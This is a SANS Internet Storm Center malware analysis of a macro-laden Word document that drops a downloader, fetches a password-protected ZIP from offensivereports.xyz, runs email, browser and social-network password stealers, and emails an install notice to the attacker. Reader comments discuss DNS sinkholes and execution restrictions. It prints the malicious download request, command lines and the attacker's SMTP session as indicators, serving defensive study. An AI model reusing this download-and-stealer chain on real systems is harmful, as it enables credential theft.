SANS ISC: Another Day, Another Malicious Behaviour - SANS Internet Storm Center

• SANS Site Network
  • Current Site
  • Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • Computer Forensics
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

Every day, we are spammed with thousands of malicious emails and attackers always try to find new ways to bypass the security controls. Yesterday, I detected a suspicious HTTP GET request:

GET /ork/install.zip?fid=484703180 HTTP/1.1
User-Agent: http://offensivereports.xyz/ork/install.zip?fid=48473180
Host: offensivereports.xyz

Just by reading the User-Agent string, you already know that this is something weird and it must be investigated. I downloaded the file which was indeed a ZIP archive and not a disguised PE file. But this time, the archive is protected with a password! The file MD5 is 55d620a29afc46de0a5cb2bebfd7968b and is reported as non-malicious by VT (normal: the files can't be extracted):

$ unzip -l install.zip
Archive:  install.zip
  Length     Date   Time    Name
 --------    ----   ----    ----
   439608  09-14-15 12:44   msvcp140.dll
   348160  04-28-16 09:15   msvcr71.dll
   676036  04-28-16 09:15   sqlite3.7.11.dll
   196608  04-28-16 09:15   ssleay32.dll
   488467  09-25-16 10:17   upd.exe
    88248  06-23-15 15:00   vcruntime140.dll
       57  09-22-16 22:19   x.Cmd
   466432  09-16-16 08:10   em.exe
   418304  09-16-16 08:31   fb.exe
   439808  09-26-16 12:27   ie.exe
  1011712  04-28-16 09:15   libeay32.dll
  2533907  09-26-16 13:55   msupd.exe
 --------                   -------
  7107347                   12 files

More checks in my log files revealed that the HTTP GET originated from a malicious Word document (MD5: 9f2264c60115cc6d1dd69a4348a26fb2 - unknown on VirusTotal). Let's have a deeper look at the file and the macros. It starts with a classic scenario, the user is enticed to enable macros to view the document. Note the look of the message which mimics a missing plug-in!

The document contains hidden data (a white font on a white background) which looks like Base64/XOR’d data:

The macro was pretty well obfuscated to evade the classic antivirus solution but a quick manual analysis of the macro revealed that the hidden data are extracted and the decrypted data are dumped in a file in a random directory with a random filename (3 letters for the directory and 2 letters for the filename): %LOCALAPPDATA%\Temp\xxx\xx.cmd.

Here are some other indicators extracted by olevba.py:

+------------+---------------+-----------------------------------------+
| Type       | Keyword       | Description                             |
+------------+---------------+-----------------------------------------+
| AutoExec   | AutoOpen      | Runs when the Word document is opened   |
| AutoExec   | Workbook_Open | Runs when the Excel Workbook is opened  |
| Suspicious | Open          | May open a file                         |
| Suspicious | Shell         | May run an executable file or a system  |
|            |               | command                                 |
| Suspicious | MkDir         | May create a directory                  |
| Suspicious | Binary        | May read or write a binary file (if     |
|            |               | combined with Open)                     |
| Suspicious | CreateObject  | May create an OLE object                |
| Suspicious | Chr           | May attempt to obfuscate specific       |
|            |               | strings                                 |
| Suspicious | Xor           | May attempt to obfuscate specific       |
|            |               | strings                                 |
| Suspicious | Environ       | May read system environment variables   |
| Suspicious | Put           | May write to a file (if combined with   |
|            |               | Open)                                   |
+------------+---------------+-----------------------------------------+

The created file 'xx.cmd' is a PE file (MD5: 9b8af9042b8f357e17e6609aa5d0dc7d) also unknown on VT. The file is executed by the macro using a Shell() command. It performs the following actions:

• It downloads the ZIP file mentioned above
• It extracts the content on the file system in %PROGRAMDATA%
• It executes 'msupd.exe' (extracted from the archive - see the content above)

The next step was to get the files from the ZIP archive. The .cmd PE file was not obfuscated and contained a lot of strings. I created a dictionary based on those strings and started a dictionary attack against the archive, no success. Let's try a brute-force attack with a password estimated between 3-8 characters and I was lucky: The password was found in a few seconds (a weak 3-characters password). Here are the MD5 hashes of the extracted files:

$ md5sum *
MD5 (em.exe) = bae5851b1ea539b16800f5bdaded3a68
MD5 (fb.exe) = 38ff837f504f63e04491682e96447cdb
MD5 (ie.exe) = a8107e664bfbee36653bcdcff37afa00
MD5 (libeay32.dll) = 177bda0c92482dfa2c162a3750932b9c
MD5 (msupd.exe) = 8e402be9c03d288a5aee9565143632bc
MD5 (msvcp140.dll) = 1d8c79f293ca86e8857149fb4efe4452
MD5 (msvcr71.dll) = 86f1895ae8c5e8b17d99ece768a70732
MD5 (sqlite3.7.11.dll) = f45ed79fee632e407831fbebc51fc063
MD5 (ssleay32.dll) = 5023f4c4aaaa1b6e9d992d6bbdcd340b
MD5 (upd.exe) = 6c66d7c6a3718d515370709a9f06f4a6
MD5 (vcruntime140.dll) = c2bbcb5aae069c22711d8e49d6107401
MD5 (x.Cmd) = f97253ff3c80b94fa2efb9e5ab1808db

Only the file 'em.exe' is reported as malicious by VT[1]. The 'msupd.exe' file as an original name 'setup.exe' and is reported as a Microsoft Setup Bootstrap[2] file:

It enumerates the processes, starts a keylogger, deploys and executes the other PE files (like any Windows installer):

C:\ProgramData\ie.exe" -f "C:\ProgramData\bigchunk\ie.txt
C:\ProgramData\em.exe, -f "C:\ProgramData\bigchunk\em.txt"
C:\ProgramData\fb.exe" -f "C:\ProgramData\bigchunk\fb.txt

Those files are common tools to collect email passwords (em.exe), browsers passwords (ie.exe) and social networks passwords (fb.exe).

But the funny stuff was for sure the notification sent via email to the attacker. Here is a dump of the SMTP session recorded:

220 s37.linuxpl.com ESMTP Server
EHLO SystemIT
250-s37.linuxpl.com Hello xxxxxxxx [x.x.x.x]
250-SIZE 104857600
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP
AUTH PLAIN xxxxxxxxxxx
235 Authentication succeeded
AUTH LOGIN
503 already authenticated
MAIL FROM: SIZE=345
250 OK
RCPT TO:
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
From: reports@offensivereports.xyz
To: xxxxxxxx@gmail.com
Date: Thu, 29 Sep 2016 08:20:36 +0100
Subject: Installed 169.254.100.7[SystemIT]
X-mailer: Synapse - Delphi & Kylix TCP/IP library by Lukas Gebauer

Sucessfully installed. Remote remove code: xxxxxxxxxxxxxxxxxxxxxxx Check FAQ to know how remotely uninstall software
.
250 OK id=1bpV6a-0003zu-98
QUIT
221 s37.linuxpl.com closing connection

Now I have the attacker's email address and credentials to use his mail server!

Sadly, the attack was not completely successful in my sandbox environment and no data was ex-filtrated (collected credentials). I did not detect any traffic to the Wild Internet... As you can see, attackers are always trying to find ways to bypass security controls like password protected archives, generic Microsoft tools).

Stay safe!

[1] https://www.virustotal.com/en/file/2e149eae2956d2d749110f803044ff8b252dcbaf3ae09bdcf30a58b74bbd7329/analysis/
[2] https://www.microsoft.com/en-us/download/details.aspx?id=24556

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Quote:
%LOCALAPPDATA%\Temp\xxx\xx.cmd
...
The created file 'xx.cmd' is a PE file (MD5: 9b8af9042b8f357e17e6609aa5d0dc7d) also unknown on VT. The file is executed by the macro using a Shell() command. It performs the following actions:
* It downloads the ZIP file mentioned above
* It extracts the content on the file system in %PROGRAMDATA%
* It executes 'msupd.exe' (extracted from the archive - see the content above)

As usual: MOSTLY HARMLESS!
To stop (unknown) malware like this dead in its tracks, use a standard/restricted user account and Software Restriction Policies alias SAFER to allow execution only from the safe directories %SystemRoot% (with some exceptions) plus %ProgramFiles% and deny execution elsewhere.

Has anyone implemented a system on a medium to large network that would prevent a domain like offensivereports.xyz from being resolved by DNS? I can't verify that openDNS blocks it or not, but it is not found as a "tagged" domain right now in openDNS.

Please share any recommendations as to how to ensure a domain like this is not resolved. And please don't say it won't work because the attacker could hard code an IP address. No mitigation is perfect.

To decrypt .odin files you need a Master Key. According to a German site virus-entferner.de you can try the previous version feature:
http://www.virus-entferner.de/2016/09/29/odin-ransomware-entfernen/

The Windows OS provides a built-in option of recovering previous versions of files. It can also be applied to folders. Just right-click on a file or folder, select Properties and hit the tab named Previous Versions. Within the versions area, you will see the list of backed up copies of the file / folder, with the respective time and date indication. Select the latest entry and click Copy if you wish to restore the object to a new location that you can specify. If you click the Restore button, the item will be restored to its original location.

Quoting mabraFoo:Has anyone implemented a system on a medium to large network that would prevent a domain like offensivereports.xyz from being resolved by DNS?

Yes, I used one many years ago. It's called a DNS Sinkhole. SANS has a paper on the topic:

https://www.sans.org/reading-room/whitepapers/dns/dns-sinkhole-33523

Several jobs ago, I built one and populated it with lists from MalwareDomains along with manual entries. I redirected the bad sites to an internal server that served a blank page or cleardot for all requests. Web server logs relieved who was hitting the bad sites.

The usual caveats apply.

Yes. I set my DNS server (and the firewall enforces that only this server can connect outbound to port 53) to be authoritative for the entire xyz TLD. Everything in that TLD is blocked, along with several others. I can post my list of blocked TLDs if you are interested.

Thanks for your reply R,
I read about a dns tool called foghorn that can be setup to not resolve domains that are less than X days old. Alexa has a list of the top million domains. If you combine that data with a good set of blacklists in theory you would have good protection.

The main thing I am trying to find out is if anyone is using a BIG black or white list. As a raw list gets big, software will choke on it. There are ways to make the look-up very fast though using a hash like IPSET does. Before an Admin (like me) tries to implement a huge domain list, I think it would be really useful to know what has/hasn't worked for others.

My latest image is located here: handlers.sans.org/gbruneau/…

If you control the local DNS server add an entry for the domain that you want to block and then add an A record to that domain that points to local host.